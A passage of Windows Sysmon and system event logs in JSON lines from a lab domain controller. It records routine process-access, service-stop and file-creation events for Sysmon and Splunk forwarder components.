11:52:10.186","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:10.186\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-406A-5F2D-0000-001052E70400}\r\nTargetProcessId: 4456\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:10.186","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-406A-5F2D-0000-001052E70400}","TargetProcessId":"4456","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76836,"ProcessID":852,"ThreadID":1108,"Channel":"System","Message":"The Portable Device Enumerator Service service entered the stopped state.","param1":"Portable Device Enumerator Service","param2":"stopped","EventReceivedTime":"2020-08-07 11:52:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:52:23.883\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\Packet.dll\r\nCreationUtcTime: 2020-08-07 11:52:23.883","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:52:23.883","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\Packet.dll","CreationUtcTime":"2020-08-07 11:52:23.883","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:52:23.883\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\concrt140.dll\r\nCreationUtcTime: 2020-08-07 11:52:23.883","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:52:23.883","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\concrt140.dll","CreationUtcTime":"2020-08-07 11:52:23.883","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:52:23.883\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\msvcp140.dll\r\nCreationUtcTime: 2020-08-07 11:52:23.883","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:52:23.883","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\msvcp140.dll","CreationUtcTime":"2020-08-07 11:52:23.883","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:23.883\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\npf.sys\r\nCreationUtcTime: 2020-08-07 11:52:23.883","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:23.883","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\npf.sys","CreationUtcTime":"2020-08-07 11:52:23.883","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:52:23.883\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\qmflow.dll\r\nCreationUtcTime: 2020-08-07 11:52:23.883","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:52:23.883","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\qmflow.dll","CreationUtcTime":"2020-08-07 11:52:23.883","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:52:23.883\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\qmframework.dll\r\nCreationUtcTime: 2020-08-07 11:52:23.883","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:52:23.883","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetFilename":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\qmframework.dll","CreationUtcTime":"2020-08-07 11:52:23.883","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:52:23.883\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetFilename: C:\\Program 